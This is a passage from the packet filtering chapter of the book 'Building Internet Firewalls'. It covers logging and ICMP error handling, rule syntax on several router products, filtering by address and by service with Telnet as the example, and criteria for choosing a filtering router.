Keep in mind that IPv6 won't be deployed overnight. IPv4 will be around for a long time, and many sites will continue to run it through the foreseeable future. The IPv6 designers are very sensitive to the transition issues, and a lot of attention is being paid to that area, and to various migration strategies sites might employ.

6.3.7 Non-IP Protocols

Other protocols at the same level as IP, e.g., AppleTalk and IPX, provide similar kinds of information as IP, although the headers and operations for these protocols, and, therefore their packet filtering characteristics, vary radically. Most packet filtering implementations support IP filtering only, and simply drop non-IP packets. Some packages provide limited packet filtering support for non-IP protocols, but this support is usually far less flexible and capable than the router's IP filtering capability.

At this time, packet filtering as a tool isn't as popular and well developed for non-IP protocols, presumably because these protocols are rarely used to communicate outside a single organization over the Internet. (The Internet is, by definition, a network of IP networks). Non-IP protocols are more of an issue for firewalls that are internal to an organization, and for this application, you would want to choose one of the packages that supports non-IP filtering.

Across the Internet, non-IP protocols are handled by encapsulating them within IP protocols. In most cases, you will be limited to permitting or denying encapsulated protocols in their entirety; you can accept all Appletalk-in-UDP connections, or reject them at all. A few packages that support non-IP protocols can recognize these connections when encapsulated and filter on fields in them.

Filtering by Interface

There is one key piece of information that would be useful when you are making a packet filtering decision, that can't be found in the headers of the packet; this is the interface on which the packet came into the router or is going out of the router. This is important information because it allows the router to detect forged packets.

If the sole router between your internal net and the external world receives a packet with an internal source address from the internal interface, there is no problem; all packets coming from the inside will have internal source addresses. If, however, the router receives a packet with an internal source address from the external interface, it means either that someone is forging the packet (probably in an attempt to circumvent security), or that there is something seriously wrong with your network configuration.

You can get these packets without forgery. For example, someone might have set up a second connection between your net and the outside world, such as a dial-up PPP link from a user's desk, probably with little or no thought to security. As a result, the traffic that should be staying internal to your net is "leaking" out through this second connection, going across the Internet, and trying to come back in through your "front door"). There's little you can do to detect such illicit "back door" connections except by detecting internal packets arriving from the outside; about the best you can do is have a strong and well-publicized policy against them, and provide as many as possible of the services your users desire through the front door (the firewall), so that they don't feel a compelling need to create their own back door.

These packets should be logged and treated as urgent issues. If someone is forging them, that person is attacking you with some seriousness. If the packets are leaked from a back door, you have a security problem because of the extra Internet connection. You may also have a routing problem: a host that claims to be internal and advertises routes for itself is in danger of getting all of your internal network's traffic. This is bad if it's a PPP link, which is probably not going to handle the load. It's much worse if it's not connected to your network at all, because some or all of your network's traffic is going to disappear.

Previous: 6.2 Configuring a Packet Filtering Router | Building Internet Firewalls | Next: 6.4 What Does the Router Do with Packets?
6.2 Configuring a Packet Filtering Router | Book Index | 6.4 What Does the Router Do with Packets?


[Chapter 6] 6.4 What Does the Router Do with Packets?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 6.3 What Does a Packet Look Like? Chapter 6
Packet Filtering 		Next: 6.5 Conventions for Packet Filtering Rules

6.4 What Does the Router Do with Packets?

Once a packet filtering router has finished examining a specific packet, what can it do with that packet? There are two choices:

  • Pass the packet on. Normally, if the packet passes the criteria in the packet filtering configuration, the router will forward the packet on towards its destination, just as a normal router (not a packet filtering router) would do.

  • Drop the packet. The other obvious action to take is to drop the packet if it fails the criteria in the packet filtering configuration.

6.4.1 Logging Actions

Regardless of whether the packet is forwarded or dropped ("permitted" or "denied" in some packet filtering implementations), you might want the router to log the action that has been taken. This is especially true if you drop the packet because it runs afoul of your packet filtering rules. In this case, you'd like to know what's being tried that isn't allowed.

You probably aren't going to log every packet that is allowed, but you might want to log some of these packets. For example, you might want to log start-of-connection TCP packets, so that you can keep track of incoming and outgoing TCP connections. Not all packet filters will log allowed packets.

Different packet filtering implementations support different forms of logging. Some will log only specific information about a packet, and others will forward or log an entire dropped packet. Generally, your packet filter will need to be configured to log to a host somewhere via the syslog service. You don't want the only copy of the logs to be on the packet filter if it is compromised. Most packet filtering also occurs on dedicated routers, which rarely have large amounts of disk space to dedicate to logging. See the discussion of setting up logging in Chapter 5, Bastion Hosts and Chapter 12, Maintaining Firewalls.

6.4.2 Returning ICMP Error Codes

If a packet is to be dropped, the router may or may not send back an ICMP error code indicating what happened. Sending back an ICMP error code has the effect of warning the sending machine not to retry sending the packet; thereby saving some network traffic and some time for the user on the remote side. (If you send back an ICMP error code, the user's connection attempt will fail immediately; otherwise it will time out, which may take several minutes.)

There are two sets of relevant ICMP codes to choose from:

  • The generic "destination unreachable" codes - in particular, the "host unreachable" and "network unreachable" codes.

  • The "destination administratively unreachable" codes - in particular, the "host administratively unreachable" and "network administratively unreachable" codes.

ICMP's designers intended the first pair of ICMP error codes that the router might return, "host unreachable" or "network unreachable", to indicate serious network problems: the destination host is down or something in the only path to the host is down. These error codes predate firewalls and packet filtering. The problem with returning one of these error codes is that some hosts (particularly if they're running older versions of UNIX) take them quite literally. If these machines get back a "host unreachable" for a given host, they will assume that the host is totally unreachable and will close all currently open connections to it, even if the other connections were permitted by the packet filtering.

The second set of ICMP error codes the router might return, "host administratively unreachable" and "network administratively unreachable", were added to the official list of ICMP message types a few years ago, specifically to give packet filtering systems something to return when they dropped a packet. Many systems do not yet recognize these codes, although that should not cause your system problems. Systems are supposed to simply ignore ICMP error codes they don't understand, so this should be equivalent to returning no error code to such systems. On the other hand, many devices comply poorly with standards, and this is the kind of boundary condition some of them may not handle gracefully. The fact that the standard requires a system to ignore unknown error codes does not ensure that a system will not, in fact, react fatally to such an error code. It simply ensures that you will be able to argue persuasively that it is not your fault if they do so!

There are several issues to consider when you are deciding whether or not your packet filtering system should return ICMP error codes.

  • Which message should you send?

  • Can you afford the overhead of generating and returning error codes?

  • Will returning these codes enable attackers to get too much information about your packet filtering?

Which set of error codes makes sense for your site?

Returning the old "host unreachable" and "network unreachable" codes is technically incorrect (remember that the host may or may not be unreachable, according to the packet filtering policy, depending on what host is attempting to access what service). Also, these error codes can cause many systems to react excessively (shutting down all connections to that host or network).

Returning the new "host administratively unreachable" or "network administratively unreachable" codes advertises the fact that there is a packet filtering system at your site, which you may or may not want to do. These codes may also cause excessive reactions in faulty IP implementations.

There is another consideration as well. Generating and returning ICMP error codes takes a certain small amount of effort on the part of the packet filtering router. An attacker could conceivably mount a denial of service attack by flooding the router with packets the router would reject, and for which it would try to generate ICMP error packets. The issue isn't network bandwidth; it's CPU load on the router. (While it's busy generating ICMP packets, it's not able to do other things as quickly, like make filtering decisions.) On the other hand, not returning ICMP error codes will cause a small amount of excess network traffic, as the sending system tries and retries to send the packet being dropped. This traffic shouldn't amount to much, because the number of packets blocked by a packet filtering system should be a fraction of the total number of packets processed. (If it's not a small fraction, you've got more serious problems, because people are apparently trying lots of things that "aren't allowed.")

If your router returns an ICMP error code for every packet that violates your filtering policy, you're also giving an attacker a way to probe your filtering system. By observing which packets evoke an ICMP error response, attackers can discover what types of packets do and don't violate your policy (and thus what types of packets are and are not allowed into your network). You should not give this information away, because it greatly simplifies the attacker's job. The attacker knows that packets that don't get the ICMP error are going somewhere, and can concentrate on those protocols, where you actually have vulnerabilities. You'd rather that the attacker spent plenty of time sending you packets that you happily throw away. Returning ICMP error codes speeds up attack programs; if they get back an ICMP error for something they try, they don't have to wait for a timeout.

All in all, the safest thing to do seems to be to drop packets without returning any ICMP error codes. If your router offers enough flexibility, it might make sense to configure it to return ICMP error codes to internal systems (which would like to know immediately that something is going to fail, rather than wait for a timeout), but not to external systems (where the information would give an attacker a means to probe the filtering configuration of the firewall). Even if your router doesn't seem to offer such flexibility, you may be able to accomplish the same result by specifying packet filtering rules to allow the relevant inbound ICMP packets and disallow the relevant outbound ICMP packets.

Previous: 6.3 What Does a Packet Look Like? | Building Internet Firewalls | Next: 6.5 Conventions for Packet Filtering Rules
6.3 What Does a Packet Look Like? | Book Index | 6.5 Conventions for Packet Filtering Rules


[Chapter 6] 6.5 Conventions for Packet Filtering Rules

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 6.4 What Does the Router Do with Packets? Chapter 6
Packet Filtering 		Next: 6.6 Filtering by Address

6.5 Conventions for Packet Filtering Rules

The rest of this chapter and Chapter 8 show the kinds of rules you can specify for your packet filtering router in order to control what packets can and cannot flow to and from your network. There are a few things you need to know about these rules.

To avoid confusion, the example rules are specified with abstract descriptions, rather than with real addresses, as much as possible. Instead of using real source and destination addresses (e.g., 172.16.51.50), we use "Internal" or "External" to identify which networks we're talking about. Actual packet filtering systems usually require you to specify address ranges explicitly; the syntax varies from router to router.

In all of our packet filtering examples, the assumption is that, for each packet, the router goes through the rules in order until it finds one that matches, and then it takes the action specified by that rule. We assume an implicit default "deny" if no rules apply, although it's a good idea to specify an explicit default (and we generally do).

The syntax used in our filtering examples specifies the number of bits significant for comparison to other address after a slash character (/). Thus, 10.0.0.0/8 matches any address that starts with 10; it's equivalent to 10.0.0.0 with a UNIX netmask of 255.0.0.0, or 10.0.0.0 with a Cisco wildcard mask of 0.255.255.255, or (if it were a filename) 10.*.*.*.

Although we try to be as specific as possible in these examples, it's impossible to tell you precisely what you have to specify for your particular packet filtering product. The exact mechanism for specifying packet filtering rules varies widely from product to product. Some products (such as the screend package) allow you to specify a single set of rules that are applied to all packets routed by the system. Others (such as the Telebit NetBlazer) allow you to specify rules for particular interfaces. Still others (such as the Livingston and Cisco products) allow you to specify sets of rules and then apply sets by name to particular interfaces (so that you might define one set of rules that is shared by a number of different interfaces, for example, and put the rules that are unique to a given interface into a different set).

Packet Filtering Tips and Tricks

Here are a couple of tips and tricks that can help you deal with packet filtering rules more effectively and make them more secure.

Edit your filtering rules offline

The filter editing tools on most systems are usually pretty minimal. Also, it's not always clear how new rules will interact with existing rule sets. In particular, it's often difficult to delete rules, or to add new rules in the middle of an existing rule set.

You might find it more convenient to keep your filters in a text file on one of your UNIX or PC systems, so that you can edit them there with the tools you're familiar with, and then load the file on the filtering system as if it contained commands you were typing at the console. Different systems support various ways of doing this. For example, on Cisco products, you can use TFTP to obtain command files from a server. (Be careful of where you enable a TFTP server, though. See the discussion of TFTP in Chapter 8 and think about using something like TCP Wrapper to control what hosts can activate that TFTP server). On Livingston products, there is a program available from Livingston called pmcommand that downloads commands to the box. On other products, there are other mechanisms.

An added advantage of keeping the filters elsewhere as a file is that you can keep comments in the file (stripping them out of the copy sent to the router, if necessary). Most filtering systems discard any comments in the commands they're given; if you later go look at the active filters on the system, you'll find that the comments aren't retained.

Reload rule sets from scratch each time

The first thing the file should do is clear all the old rules, so that each time you load the file you're rebuilding the rule set from scratch; that way, you don't have to worry about how the new rules will interact with the old. Next, specify the rules you want to establish, followed by whatever commands are necessary to apply those rules to the appropriate interfaces.

Always use IP addresses, never hostnames

Always specify hosts and networks in filtering rules by IP address, never by hostname or by network name (if your filtering product even supports that). If you specify filtering rules by hostname, your filtering could be subverted if someone accidentally or intentionally corrupts the name-to-address translation (e.g., by feeding false data to your DNS server).

Here's a simple example to illustrate the differences. We chose these three systems because they represent somewhat different ways of specifying filters, not because of any particular preference for them; in general, other systems are similar to these. For example, Cisco's products are similar to Livingston's products in that you create sets of rules, then apply those rules to packets going in a particular direction through a particular interface. They are different in details of their syntax, such as in how you specify host addresses and bitmasks.

Let's say that you want to allow all IP traffic between a trusted external host (host 172.16.51.50) and hosts on your internal network (Class C net 192.168.10.0). In our examples, we would show this case as follows:
 |  |  |  | ACK |
Rule | Direction | Source Address | Destination Address | Set | Action
A | Inbound | Trusted external host | Internal | Any | Permit
B | Outbound | Internal | Trusted external host | Any | Permit
C | Either | Any | Any | Any | Deny

With screend, you would specify:

between host 172.16.51.50 and net 192.168.10 accept ;
between host any and host any reject ;

With a Telebit NetBlazer, you also have to specify which interface the rule is to be applied to, and whether the rule applies to incoming or outgoing packets on that interface. For an external interface named "syn0", your rules would be:

permit 172.16.51.50/32 192.168.10/24 syn0 in
deny 0.0.0.0/0 0.0.0.0/0 syn0 in

permit 192.168.10/24 172.16.51.50/32 syn0 out
deny 0.0.0.0/0 0.0.0.0/0 syn0 out

On a Livingston PortMaster or IRX, you would specify rules as a set and then apply the relevant set to the right direction on the right interface. If your external interface is named "s1", your rules would look something like this:

add filter s1.in
set filter s1.in 1 permit 172.16.51.50/32 192.168.10.0/24
set filter s1.in 2 deny 0.0.0.0/0 0.0.0.0/0
set s1 ifilter s1.in

add filter s1.out
set filter s1.out 1 permit 192.168.10.0/24 172.16.51.50/32
set filter s1.out 2 deny 0.0.0.0/0 0.0.0.0/0
set s1 ofilter s1.out

On a Cisco router, you also specify rules as sets, and apply the relevant sets to the right direction on the right interface. If your external interface is named "serial1", your rules would look like this:

access-list 101 permit ip 172.16.51.50 0.0.0.0 192.168.10.0 0.0.0.255
access-list 101 deny ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255
interface serial 1
access-group 101 in

access-list 102 permit ip 192.168.10.0 0.0.0.255 172.16.51.50 0.0.0.0
access-list 102 deny ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255
interface serial 1
access-group 102 out

For detailed information on the syntax of a particular package or product, consult the documentation for that package or product. Once you understand the syntax for the particular system you are using, you shouldn't have too much difficulty translating from our tables to that system's syntax.

NOTE: Watch out for implicit defaults. Different filtering systems have different default actions they take if a packet doesn't match any of the filtering rules specified. Some systems deny all such packets. Other systems make the default the opposite of the last rule; that is, if the last rule was a "permit," the system default is to "deny," and if the last rule was a "deny," the default is to "permit." In any case, it's a good idea to put an explicit default rule at the end of your list of packet filtering rules, so you don't have to worry about (or even remember) which implicit default your system is going to use.

Previous: 6.4 What Does the Router Do with Packets? | Building Internet Firewalls | Next: 6.6 Filtering by Address
6.4 What Does the Router Do with Packets? | Book Index | 6.6 Filtering by Address


[Chapter 6] 6.6 Filtering by Address

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 6.5 Conventions for Packet Filtering Rules Chapter 6
Packet Filtering 		Next: 6.7 Filtering by Service

6.6 Filtering by Address

The simplest, although not the most common, form of packet filtering is filtering by address. Filtering in this way lets you restrict the flow of packets based on the source and/or destination addresses of the packets, without having to consider what protocols are involved. Such filtering can be used to allow certain external hosts to talk to certain internal hosts, for example, or to prevent an attacker from injecting forged packets (packets handcrafted so they appear to come from somewhere other than their true source) into your network.

For example, let's say that you want to block incoming packets with forged source addresses; you would specify this rule:

Rule | Direction | Source Address | Destination Address | Action
A | Inbound | Internal | Any | Deny

Note that Direction is relative to your internal network. In the router between your internal network and the Internet, you could apply an inbound rule either to incoming packets on the Internet interface or to outgoing packets on the internal interface; either way, you will achieve the same results for the protected hosts. The difference is in what the router itself sees. If you filter outgoing packets, the router is not protecting itself.

6.6.1 Risks of Filtering by Source Address

It's not necessarily safe to trust source addresses because source addresses can be forged. Unless you use some kind of cryptographic authentication between you and the host you want to talk to, you won't know if you're really talking to that host, or to some other machine that is pretending to be that host. The filters we've discussed above will help you if an external host is claiming to be an internal host, but they won't do anything about an external host claiming to be a different external host.

There are two kinds of attacks that rely on forgery: source address and man in the middle.

In a basic source address forgery attack (shown in Figure 6.1), an attacker sends you packets that claim to be from someone you trust in some way, hoping to get you to take some action based on that trust, without expecting to get any packets back from you. If the attacker doesn't care about getting packets back from you, he doesn't need to be on the path between you and whoever he is pretending to be; he can be anywhere.

In fact, your responses will go to whomever the attacker is pretending to be, not to the attacker. However, if the attacker can predict your responses, he doesn't need to see them. Many (if not most) protocols are predictable enough for a skilled attacker to be successful at this. There are plenty of attacks that can be carried out without the attacker needing to see the results directly. For example, suppose an attacker issues a command to your system that causes it to email your password file to him; if your system is going to send the attacker the password file in the mail, there is no need for him to see it during the attack itself.

In many circumstances - particularly those involving TCP connections - the real machine (that the attacker is pretending to be) will react to your packets (packets that are attempting to carry on a conversation it knows nothing about) by trying to reset the bogus connection. Obviously, the attacker doesn't want this to happen. He has to ensure the attack completes before the real machine gets the packets you're sending, or before you get the reset packets from the real machine. There are a number of ways to ensure this - for example:

  • Carrying out the attack while the real machine is down

  • Crashing the real machine so the attack can be carried out

  • Flooding the real machine while the attack is carried out

  • Confusing the routing between the real machine and the target

  • Using an attack where only the first response packet is required, so that the reset doesn't matter

Attacks of this kind used to be considered a theoretical problem with little real-world effect, but they are now common enough to be considered a serious threat. (In general, it's not a good idea to dismiss theoretical attacks completely, because they eventually become actual attacks. This kind of attack was known as a theoretical possibility for many years before it actually occurred, and yet many people didn't bother to protect against it. )

The man in the middle forgery attack depends on being able to carry out a complete conversation while claiming to be the trusted host. In order to do this, the attacking machine needs to be able to not only send you packets, but also intercept the packets you reply with. To do this, the attacker needs to do one of the following:

  • Insinuate his attacking machine into the path between you and the real machine. This is easiest to do near the ends of the path, and most difficult to do somewhere in the middle, because given the nature of modern IP networks, the path through "the middle" can change at any second.

  • Alter the path between the machines so it leads through his attacking machine. This may be very easy or very difficult, depending on the network topology and routing system used by your network, the remote network, and the Internet service providers between those networks.

Although this kind of attack is called "man in the middle," it's relatively rare for it to actually be carried out in the middle, external to the sites at each end, because nobody but a network provider is in a position to carry it out in that way, and network providers are rarely compromised to that extent. (People who compromise network providers tend to be working on quantity. Packet sniffing will give them many hosts rapidly, but man in the middle attacks give them only one site at a time.) These attacks tend to be problems only if one of the involved sites has hostile users who have physical access to the network (for example, this might be the case if one site is a university.)

So, who can you trust? At the extreme, nobody, unless you trust the machines involved at both ends and the path between them. If you trust the machines but not the path, you can use encryption to give you a secure connection over an insecure path. Unfortunately, as we discuss in Chapter 10, Authentication and Inbound Services, there are no widespread and commonly available tools to do that yet, but a number of sites are experimenting with ad hoc solutions, and commercial solutions are beginning to appear.

Previous: 6.5 Conventions for Packet Filtering Rules | Building Internet Firewalls | Next: 6.7 Filtering by Service
6.5 Conventions for Packet Filtering Rules | Book Index | 6.7 Filtering by Service


[Chapter 6] 6.7 Filtering by Service

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 6.6 Filtering by Address Chapter 6
Packet Filtering 		Next: 6.8 Choosing a Packet Filtering Router

6.7 Filtering by Service

Blocking incoming forged packets, as discussed previously, is just about the only common use of filtering solely by address. Most other uses of packet filtering involve filtering by service, which is somewhat more complicated.

From a packet filtering point of view, what do the packets associated with particular services look like? As an example, we're going to take a detailed look at Telnet. Telnet allows a user to log in to another system, as if the user had a terminal directly connected to that system. We use Telnet as an example because it is fairly common, fairly simple, and from a packet filtering point of view representative of several other protocols such as SMTP and NNTP. We need to look at both outbound and inbound Telnet service.

For detailed discussions of the packet filtering characteristics of other protocols, see Chapter 8.

6.7.1 Outbound Telnet Service

Let's look first at outbound Telnet service, in which a local client (a user) is talking to a remote server. We need to handle both outgoing and incoming packets. (Figure 6.8 shows a simplified view of outbound Telnet.)

Figure 6.8: Outbound Telnet

The outgoing packets for this outbound service contain the user's keystrokes and have the following characteristics:

  • The IP source address of the outgoing packets is the local host's IP address.

  • The IP destination address is the remote host's IP address.

  • Telnet is a TCP-based service, so the IP packet type is TCP.

  • The TCP destination port is 23; that's the well-known port number Telnet servers use.

  • The TCP source port number (which we'll call "Y" in this example) is some seemingly random number greater than 1023.

  • The first outgoing packet, establishing the connection, will not have the ACK bit set; the rest of the outgoing packets will.

The incoming packets for this outbound service contain the data to be displayed on the user's screen (for example, the "login:" prompt) and have the following characteristics:

  • The IP source address of the incoming packets is the remote host's IP address.

  • The IP destination address is the local host's IP address.

  • The IP packet type is TCP.

  • The TCP source port is 23; that's the port the server uses.

  • The TCP destination port is the same "Y" we used as the source port for the outgoing packets.

  • All incoming packets will have the ACK bit set (again, only the first packet, establishing a connection, does not have the ACK bit set; in this example, that first packet was an outgoing packet, not an incoming packet).

Note the similarities between the header fields of the outgoing and incoming packets for Telnet. The same addresses and port numbers are used; they're just exchanged between source and destination. If you compare an outgoing packet to an incoming packet, the source and destination addresses are exchanged, and the source and destination port numbers are exchanged.

Why is the client port - the source port for the outgoing packets, and the destination port for the incoming packets - restricted to being greater than 1023? This is a legacy of the BSD versions of UNIX, to which almost all UNIX networking code can trace its origins. BSD UNIX reserved ports from 0 to 1023 for local use only by root. These ports are normally used only by servers, not clients. (The major exceptions are the BSD "r commands" like rcp and rlogin, as we'll discuss in Chapter 8.) Other operating systems, even those that have no concept analogous to a privileged root user, e.g., Macintosh and MS-DOS systems, have followed this convention. When client programs need a port number for their own use, and any old port number will do, the programs are assigned a port above 1023.

6.7.2 Inbound Telnet Service

Next, let's look at inbound Telnet service, in which a remote client (a remote user) communicates with a local Telnet server. Again, we need to handle both incoming and outgoing packets.

The incoming packets for the inbound Telnet service contain the user's keystrokes and have the following characteristics:

  • The IP source address of these packets is the remote host's address.

  • The IP destination address is the local host's address.

  • The IP packet type is TCP.

  • The TCP source port is some random port number greater than 1023 (which we'll call "Z" in this example).

  • The TCP destination port is 23.

  • The TCP ACK bit will not be set on the very first inbound packet, establishing the connection, but it will be set on all other inbound packets.

The outgoing packets for this inbound Telnet service contain the server responses (the data to be displayed for the user) and have the following characteristics:

  • The IP source address is the local host's address.

  • The IP destination address is the remote host's address.

  • The IP packet type is TCP.

  • The TCP source port is 23 (these packets are from the Telnet server).

  • The TCP destination port is the same random port "Z" that was used as the source port for the inbound packets.

  • The TCP ACK bit will be set on all outgoing packets.

Again, note the similarities between the relevant headers of the incoming and the outgoing packets: the source and destination addresses are exchanged and that the source and destination ports are exchanged.

6.7.3 Telnet Summary

The following table illustrates the various types of packets involved in inbound and outbound Telnet services.

Service | Packet | Source | Dest. | Packet | Source | Dest. | ACK
Direction | Direction | Address | Address | Type | Port | Port | Set
Outbound | Outgoing | Internal | External | TCP | Y | 23 | [5]
Outbound | Incoming | External | Internal | TCP | 23 | Y | Yes
Inbound | Incoming | External | Internal | TCP | Z | 23 | [5]
Inbound | Outgoing | Internal | External | TCP | 23 | Z | Yes

[5] The TCP ACK bit will be set on all but the first of these packets, which establishes the connection.

Note that Y and Z are both random (from the packet filtering system's point of view) port numbers above 1023.

If you want to allow outgoing Telnet, but nothing else, you would set up your packet filtering like this:

 | Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
Rule | tion | Address | Address | tocol | Port | Port | Set | Action
A | Out | Internal | Any | TCP | >1023 | 23 | Either | Permit
B | In | Any | Internal | TCP | 23 | >1023 | Yes | Permit
C | Either | Any | Any | Any | Any | Any | Either | Deny

  • Rule A allows packets out to remote Telnet servers.

  • Rule B allows the returning packets to come back in. Because it verifies that the ACK bit is set, rule B can't be abused by an attacker to allow incoming TCP connections from port 23 on the attacker's end to ports above 1023 on your end, e.g., an X11 server on port 6000.

  • Rule C is the default rule. If none of the preceding rules apply, the packet is blocked. Remember from our discussion above that any blocked packet should be logged, and that it may or may not cause an ICMP message to be returned to the originator.

6.7.4 Risks of Filtering by Source Port

Making filtering decisions based on source port is not without its risks. There is one fundamental problem with this type of filtering: you can trust the source port only as much as you trust the source machine.

Suppose you mistakenly assume the source port is associated with a particular service. Someone who is in control of the source machine, e.g., someone with root access on a UNIX system (or anyone at all with a networked PC), could run whatever client or server they wanted on a "source port" that you're allowing through your carefully configured packet filtering system. Furthermore, as we've discussed above, you can't necessarily trust the source address to tell you for certain what the source machine is; you can't tell for sure if you're talking to the real machine with that address, or to an attacker who is pretending to be that machine.

What can you do about this situation? You want to restrict the local port numbers as much as possible, regardless of how few remote ports you allow to access them. If you only allow inbound connections to port 23, and if port 23 has a Telnet server on it that is trustworthy (a server that will only do things that a Telnet client should be able to tell it to do), it doesn't actually matter whether the program that is talking to it is a genuine Telnet client or not. Your concern is to limit inbound connections to only ports where you are running trustworthy servers, and to be sure that your servers are genuinely trustworthy. Chapter 8 discusses how you can achieve these ends for various services.

Because many services use random ports above 1023 for clients, and because some services use ports above 1023 for servers, you will often need to accept inbound packets for ports that might have untrustworthy servers on them. In TCP, you can accept inbound packets without accepting inbound connections by requiring the ACK bit to be set. With UDP, you have no such option, because there is no equivalent to the ACK bit. Fortunately, very few protocols used across the Internet are UDP-based.

Previous: 6.6 Filtering by Address | Building Internet Firewalls | Next: 6.8 Choosing a Packet Filtering Router
6.6 Filtering by Address | Book Index | 6.8 Choosing a Packet Filtering Router


[Chapter 6] 6.8 Choosing a Packet Filtering Router

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 6.7 Filtering by Service Chapter 6
Packet Filtering 		Next: 6.9 Where to Do Packet Filtering

6.8 Choosing a Packet Filtering Router

A number of packet filtering routers are available, some good and some not so good. Almost every dedicated router supports packet filtering in some form. In addition, packet filtering packages are available for many general-purpose UNIX and PC platforms you might want to use as routers.

How do you choose the best packet filtering router for your site? This section outlines the most important capabilities a filtering router should have. You should determine which of these capabilities are important to you and select a filtering system that offers at least those capabilities.

6.8.1 It Should Have Good Enough Packet Filtering Performance for Your Needs

Many people worry unnecessarily about packet filtering performance. In most Internet firewalls, in fact, the limiting factor on performance is the speed of your connection to the Internet, not the speed of the packet filtering system. The right question to ask about a packet filtering system is not "How fast is it?" The right question is "Is it fast enough for my needs?"

Internet connections are commonly either 56-Kb/s or 1.544-Mb/s (T1) lines. Packet filtering is a per-packet operation. Therefore, the smaller the packets, the more packets will be handled every second, and the more filtering decisions a packet filtering system will have to make every second. The smallest possible IP packet - a bare packet containing only an IP header and no data whatsoever - is 20 bytes (160 bits) long. Thus, a line capable of 56 Kb/s can carry at most 350 packets per second, and a line capable of 1.544 Mb/s (a T-1 line, for example) can carry at most 9,650 packets per second, as shown in the following table.

 | Bits/Second | Packets/Second | Packets/Second
Connection Type | (approximate) | (20-byte packets) | (40-byte packets)
v.32bis modem | 14,400 | 90 | 45
56-Kb/s leased line | 56,000 | 350 | 175
T-1 leased line | 1,544,000 | 9,650 | 4,825
Ethernet (practical) | 3,000,000 | 18,750 | 9,375
Ethernet (theoretical) | 10,000,000 | 62,500 | 31,250
T-3 leased line | 45,000,000 | 281,250 | 140,625
FDDI | 100,000,000 | 625,000 | 312,500

In fact, though, you will rarely see bare IP packets; there is always something in the data segment (e.g., a TCP, UDP, or ICMP packet). A typical packet crossing a firewall would be a TCP/IP packet because most Internet services are TCP-based. The minimum possible TCP/IP packet size, for a packet containing only the IP header and TCP header and no actual data, is 40 bytes, which cuts the maximum packet rates in half, to 175 packets per second for a 56-Kb/s line and 4825 packets per second for a 1.544-Mb/s line. Real packets containing real data are going to be larger still, reducing the packet-per-second rates still further.

These per-second packet rates are well within the capabilities of many of the packet filtering systems, both commercial and freely available off the Internet, that are available today. Some can go much faster.

Speed is likely to be more of an issue in a firewall that is internal to an organization's network. Such a firewall will need to run at LAN speeds, which are usually theoretically at least 10 Mb/s, and may be much higher. (Firewalls are not practical within a gigabit-per-second network at this point. Fortunately, from a firewalls perspective, such networks are rare at present.)

A firewall with more than two connections may also have higher speed requirements. With two connections, the maximum required speed is that of the slowest connection. With three connections, the required speed can rise. For example, if you put a second Internet connection onto an external router, it now needs to drive both at full speed if it's not going to be a limiting factor. If you put two internal networks onto it, it's going to need to achieve the higher LAN speed to route between the two internal networks.

6.8.2 It Can Be a Single-Purpose Router or a General-Purpose Computer

Don't expect a single device to serve as your packet-filtering router and also to do something that's not part of your firewall. (You may have a device that's doing packet filtering and proxying, or packet filtering and selected bastion host services, or even all three.) In a practical sense, you should expect to be using a dedicated packet-filtering router. This doesn't mean you have to buy a single-purpose router, however. You might choose to use either a traditional, single-purpose router, or a general-purpose computer dedicated to routing. What are the pros and cons of each choice?

If you have a large number of networks or multiple protocols, you will probably need a single-purpose router. Routing packages for general-purpose computers usually do not have the speed or flexibility of single-purpose routers, and you may find you will need an inconveniently large machine to accommodate the necessary interface boards.

On the other hand, if you are filtering a single Internet link, you may not need to do any more than route IP packets between two Ethernets. This is well within the capabilities of a reasonable 486-based (or comparable) computer, and such a machine may well be cheaper than a single-purpose router. (It may even be free, if you already have one available within your organization.) Routing and filtering packages are available for MS-DOS and most variants of UNIX. (See Appendix B for information about available packages.)

Whatever device you use for your filtering router, firewalling should be all the router does. For example, if possible, don't use one device as both your filtering router and the backbone router that ties together multiple separate internal networks. Instead, use one device to tie together your internal networks and a separate (much smaller) device as your filtering router. The more complex the filtering router and its configuration, the more likely it is that you'll make a mistake in its configuration, which could have serious security implications. Filtering also has a significant speed impact on a router and may slow the router down to the point where it has difficulty achieving acceptable performance for the internal networks.

Some commercial firewall packages combine packet filtering with proxying on a machine that behaves like a single-purpose router. Others combine packet filtering with proxying or bastion host services on a high-powered general-purpose computer. This is fine, although it will increase your speed requirements. Don't expect to use a small machine to do this. Depending on what machines you have available, this may either be a good bargain (you buy a single large machine instead of multiple medium-sized ones) or a bad one (you buy a single large machine instead of adding a small machine to an existing configuration). As we've said in Chapter 4, combining the bastion host with the external packet filter is a reasonable thing to do from a security perspective.

6.8.3 It Should Allow Simple Specification of Rules

You want to be able to specify the rules for your packet filtering as simply as possible. Look for this feature in any device you select. From a conceptual point of view, packet filtering is complicated to begin with, and it's further complicated by the details and quirks of the various protocols. You don't want your packet filtering system to add any more complexity to the complications you already have to deal with.

In particular, you want to be able to specify rules at a fairly high level of abstraction. Avoid any packet filtering implementations that treat packets as simply unstructured arrays of bits and require you to state rules in terms of the offset and state of particular bits in the packet headers.

As we discussed before, you'll also probably want to be able to download the rules from another machine if you're using a single-purpose router. Nevertheless, you need a user interface that allows you to create and edit the rules without extreme pain, because you may periodically have to do so.

6.8.4 It Should Allow Rules Based on Any Header or Meta-packet Criteria

You want to be able to specify rules based on any of the header information or meta-packet information available for your packets. Header information includes the following:

  • IP source and destination address

  • IP options

  • Protocol, such as TCP, UDP, or ICMP

  • TCP or UDP source and destination port

  • ICMP message type

  • Start-of-connection (ACK bit) information for TCP packets

and similar information for any other protocols you're filtering on. Meta-packet information includes any information about the packet that the router knows, but that isn't in the headers themselves, e.g., which router interface the packet came in or is going out on. You want to be able to specify rules based on combinations of these header and meta-packet criteria.

